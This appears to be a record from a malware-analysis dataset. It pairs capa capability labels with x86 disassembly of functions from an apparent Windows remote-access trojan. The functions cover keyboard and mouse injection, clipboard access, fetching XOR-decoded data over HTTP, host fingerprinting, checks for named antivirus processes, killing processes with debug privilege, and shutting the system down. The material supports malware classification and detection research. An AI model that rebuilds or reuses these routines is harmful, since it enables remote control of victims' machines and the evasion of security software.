joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100085d4
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x10]
push ebx
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x1000872b
call fcn.1000abcb
mov eax, dword [esp + 0x14]
push 0x1c
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
cmp eax, ebx
jle 0x1000872b
mov ecx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
push edi
lea esi, [ecx + 8]
mov dword [esp + 0x20], eax
mov eax, dword [esi - 4]
cmp eax, 0x200
jb 0x10008651
cmp eax, 0x208
ja 0x10008651
mov edi, dword [esi + 4]
movzx eax, word [esi + 4]
shr edi, 0x10
push edi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
mov ecx, 0x203
cmp eax, ecx
ja 0x100086c1
je 0x100086b1
sub eax, 0x100
je 0x100086ad
dec eax
je 0x10008695
sub eax, 3
je 0x100086ad
dec eax
je 0x10008695
sub eax, 0xfc
je 0x1000868a
dec eax
jne 0x1000871b
push ebx
push ebx
push ebx
push ebx
push 4
jmp 0x10008719
push ebx
push ebx
push ebx
push ebx
push 2
jmp 0x10008719
push ebx
push 2
push ebx
push dword [esi]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [esi]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x1000871b
push ebx
push ebx
jmp 0x10008698
push ebx
push ebx
push ebx
push ebx
push 6
call ebp
push ebx
push ebx
push ebx
push ebx
push 6
jmp 0x10008719
sub eax, 0x204
je 0x10008713
dec eax
je 0x1000870b
dec eax
je 0x100086fb
dec eax
je 0x100086f3
dec eax
je 0x100086eb
dec eax
dec eax
jne 0x1000871b
mov eax, dword [esi]
push ebx
shr eax, 0x10
movsx eax, ax
push eax
push ebx
push ebx
push 0x800
jmp 0x10008719
push ebx
push ebx
push ebx
push ebx
push 0x40
jmp 0x10008719
push ebx
push ebx
push ebx
push ebx
push 0x20
jmp 0x10008719
push ebx
push ebx
push ebx
push ebx
push 0x18
call ebp
push ebx
push ebx
push ebx
push ebx
push 0x18
jmp 0x10008719
push ebx
push ebx
push ebx
push ebx
push 0x10
jmp 0x10008719
push ebx
push ebx
push ebx
push ebx
push 8
call ebp
add esi, 0x1c
dec dword [esp + 0x20]
jne 0x10008618
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8

Function at 0x10008731
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000878f
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10008788
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8
Function at 0x10008792
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000880e
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x100087ba
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1000880e
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.1000794b
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10008ad4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x10008c02
cmp dword [esi + 0x1c], 0
je 0x10008c02
call fcn.10008f97
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.10008e42
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.10008e42
lea ecx, [esi + 0x88]
call fcn.10008c0b
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.10008e42
cmp byte [edi], 2
jne 0x10008b7d
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.10008fd0
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.1000901c
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x10008bfd
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x10008b89
xor edi, edi
cmp eax, dword [0x100185e8]
je 0x10008ba2
push edi
mov ecx, esi
call fcn.10008c61
test al, al
je 0x10008ba2
add edi, 0x13
jmp 0x10008ba5
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10008bbb
push edi
mov ecx, esi
call fcn.10008c61
test al, al
je 0x10008b9d
add edi, 0x13
jmp 0x10008b9d
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x100185e8], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x10008bf3
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008be0
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x10008c04
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100092bb
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push dword [esi + 0x28]
mov dword [esi], 0x100125d4
call edi
push 0
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [esi + 0x24]
call edi
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [esi + 0x2c]
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x10009309
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10009313
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000931d
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10009327
push eax
call edi
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
mov ecx, esi
call fcn.10007938
pop edi
pop esi
ret

Function at 0x1000959e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1000946a
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x100095d1
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x100095ba
mov eax, dword [ebp - 4]
leave
ret
Function at 0x100096c7
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
je 0x10009754
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
and byte [ebp + 0xb], 0
push str.http:__
push edi
mov dword [ebp - 4], esi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x10009727
push str.https:__
push edi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x10009727
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.100095d6
add esp, 0x1c
mov al, 1
jmp 0x10009819
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, esi
mov dword [ebp - 0xc], eax
je 0x10009754
push esi
push 0x80000100
push esi
push esi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 8], eax
jne 0x1000975d
xor al, al
jmp 0x10009819
xor esi, esi
mov edi, 0x800
lea eax, [ebp - 0xc0c]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc0c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, str.AAAA
lea eax, [ebp - 0xc0c]
push esi
push eax
call ebx
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x100097fc
add edi, 4
push esi
push edi
call ebx
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x100097fc
push 0x400
lea eax, [ebp - 0x40c]
push 0
push eax
call sub.MSVCRT.dll_memset
sub esi, edi
lea eax, [ebp - 0x40c]
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x40c]
push eax
call fcn.1000959e
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.100095d6
add esp, 0x38
mov byte [ebp + 0xb], 1
cmp dword [ebp - 4], 0
ja 0x1000975b
push dword [ebp - 8]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov al, byte [ebp + 0xb]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000981e
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.MHz
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x1000991b
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
xor esi, esi
push esi
push edi
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x400]
push esi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea eax, [ebp - 0x400]
push dword [ebp + 0x10]
push esi
push edi
push 1
push str.Host
push eax
push reloc.WS2_32.dll_bind
call fcn.100079dc
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x44
push edi
call esi
test eax, eax
jne 0x10009994
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x1000999b
Capabilities:
Print debug messages

Disassembly:
push ebx
push ebp
push esi
push edi
push str.360tray.exe
call fcn.1000a950
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
xor ebp, ebp
test eax, eax
pop ecx
mov esi, 0x10018198
mov ebx, 0x10016184
je 0x100099e7
push 0x100169bc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 4
push ebp
push str.360tray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100169b0
push esi
call edi
push ebx
push esi
call edi
push str.avp.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009a12
push 4
push ebp
push str.avp.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100169a0
push esi
call edi
push ebx
push esi
call edi
push str.KvMonXP.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009a3d
push 4
push ebp
push str.KvMonXP.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1001698c
push esi
call edi
push ebx
push esi
call edi
push str.RavMonD.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009a68
push 4
push ebp
push str.RavMonD.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10016978
push esi
call edi
push ebx
push esi
call edi
push str.360sd.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009a93
push 4
push ebp
push str.360sd.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.360
push esi
call edi
push ebx
push esi
call edi
push str.Mcshield.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009abe
push 4
push ebp
push str.Mcshield.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1001694c
push esi
call edi
push ebx
push esi
call edi
push str.egui.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009ae9
push 4
push ebp
push str.egui.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.NOD32
push esi
call edi
push ebx
push esi
call edi
push str.kxetray.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009b14
push 4
push ebp
push str.kxetray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10016924
push esi
call edi
push ebx
push esi
call edi
push str.knsdtray.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009b3f
push 4
push ebp
push str.knsdtray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1001690c
push esi
call edi
push ebx
push esi
call edi
push str.TMBMSRV.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009b6a
push 4
push ebp
push str.TMBMSRV.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100168f8
push esi
call edi
push ebx
push esi
call edi
push str.avcenter.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009b95
push 4
push ebp
push str.avcenter.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.avira
push esi
call edi
push ebx
push esi
call edi
push str.ashDisp.exe
call fcn.1000a950
test eax, eax
pop ecx
je 0x10009bc0
push 4
push ebp
push str.ashDisp.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.avast
push esi
call edi
push ebx
push esi
call edi
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x10009bd6
push 0x100168c4
push esi
call edi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10009bdd
Capabilities:
Check os version
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
and byte [ebp - 0x116], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
lea eax, [ebp - 0x200]
mov edi, 0x9c
push eax
mov byte [ebp - 0x204], 0x66
mov dword [ebp - 0x200], edi
call esi
lea eax, [ebp - 0x3a0]
push 0x100
push eax
push dword [ebp + 8]
call fcn.1000991b
push 0x10
lea eax, [ebp - 0x30]
pop ebx
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x2c]
push 4
push eax
lea eax, [ebp - 0x14c]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x3a0]
push 0x32
push eax
lea eax, [ebp - 0x148]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
call fcn.1000981e
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0x2a0]
push eax
mov dword [ebp - 0x2a0], edi
call esi
cmp dword [ebp - 0x29c], 5
jne 0x10009cbb
cmp dword [ebp - 0x298], 0
jne 0x10009cbb
lea eax, [ebp - 0x160]
push 0x100169dc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10009ce0
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x80]
lea eax, [ebp - 0x160]
push 0x1001677c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x70]
mov dword [ebp - 0x70], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
push 0x14
pop ecx
call fcn.10011350
xor ebx, ebx
xor esi, esi
xor edi, edi
and dword [ebp - 4], ebx
mov dword [ebp - 0x110], eax
mov al, byte [ebp - 4]
and byte [ebp - 0x11], 0
add al, 0x42
mov byte [ebp - 0x13], 0x3a
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x12], 0x5c
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10009d5f
lea eax, [ebp - 0x20]
push 0
push eax
lea eax, [ebp - 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10009d5f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add edi, eax
push 0x14
adc ebx, ecx
pop ecx
mov eax, edi
mov edx, ebx
call fcn.10011350
mov esi, eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1a
jl 0x10009d0e
and dword [ebp - 4], 0
mov dword [ebp - 8], esi
fild qword [ebp - 8]
call sub.MSVCRT.dll__ftol
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], 0x132b725
call fcn.1000986b
mov byte [ebp - 0x116], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x114], eax
call fcn.1000999b
push eax
lea eax, [ebp - 0xe4]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x104]
push 0x20
push eax
push dword [ebp + 8]
call fcn.100098a0
mov ecx, dword [ebp + 0xc]
add esp, 0x14
lea eax, [ebp - 0x204]
push 0x170
push eax
call fcn.1000219d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a497
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, str.SeDebugPrivilege
push 1
mov dword [ebp - 4], ecx
push ebx
call fcn.1000a6f8
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x1000a4e5
push edi
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x1000a4b7
pop edi
push 0
push ebx
call fcn.1000a6f8
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.1000a349
mov ecx, dword [ebp - 4]
call fcn.1000a372
pop esi
pop ebx
leave
ret 8
Function at 0x1000a50d
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
push 0x49
xor esi, esi
pop ecx
xor eax, eax
and byte [ebp - 0x240], al
lea edi, [ebp - 0x138]
mov dword [ebp - 0x13c], esi
push 0x40
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x23f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
mov dword [ebp - 0x10], esi
pop edi
push edi
push str.SeDebugPrivilege
call fcn.1000a6f8
pop ecx
pop ecx
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x1000a56b
xor eax, eax
jmp 0x1000a6f4
push ebx
push 0x400
push 0x40
mov dword [ebp - 0x13c], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 0xc], ebx
push dword [ebp - 8]
mov byte [ebx], 0x7d
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a6ce
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x134]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp dword [ebp - 0x134], 0
mov dword [ebp - 4], eax
je 0x1000a6b7
cmp dword [ebp - 0x134], 4
je 0x1000a6b7
cmp dword [ebp - 0x134], 8
je 0x1000a6b7
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x10]
push 4
push ecx
push eax
call sub.PSAPI.DLL_EnumProcessModules
lea eax, [ebp - 0x240]
push 0x104
push eax
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [ebp - 0x118]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x240]
push eax
call esi
lea eax, [ebx + eax + 6]
mov ebx, dword [ebp - 0xc]
add eax, edi
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, dword [ebp - 4]
jae 0x1000a649
push 0x42
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 0x134]
push 4
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x118]
add edi, 4
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x240]
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x240]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a5a8
push 0x42
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000a6f8
pop ecx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x1000a772
Capabilities:
Shutdown system

Disassembly:
push esi
mov esi, str.SeShutdownPrivilege
push 1
push esi
call fcn.1000a6f8
pop ecx
pop ecx
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push esi
call fcn.1000a6f8
pop ecx
pop ecx
pop esi
ret
Function at 0x1000a8ef
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000a88b
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1000a950
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, 0x128
mov ebx, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a9aa
push dword [esp + 0x10]
lea edi, [esi + 0x24]
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
pop ecx
jmp 0x1000a9a1
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000a9aa
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1000a98b
mov eax, dword [esi + 8]
jmp 0x1000a9ac
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x1000a9b0
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea ecx, [ebp - 8]
xor eax, eax
push ecx
lea ecx, [ebp - 4]
push ecx
push 5
push 0xffffffffffffffff
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000a9f8
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 4]
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
leave
ret
xor eax, eax
leave
ret

Function at 0x1000ab59
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x1000abaa
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
push eax
call esi
test eax, eax
je 0x1000abc8
cmp dword [ebp - 0x98], 5
jne 0x1000abc3
cmp dword [ebp - 0x94], 0
jne 0x1000abc3
call fcn.1000a9fc
jmp 0x1000abc8
call fcn.1000a9b0
pop esi
leave
ret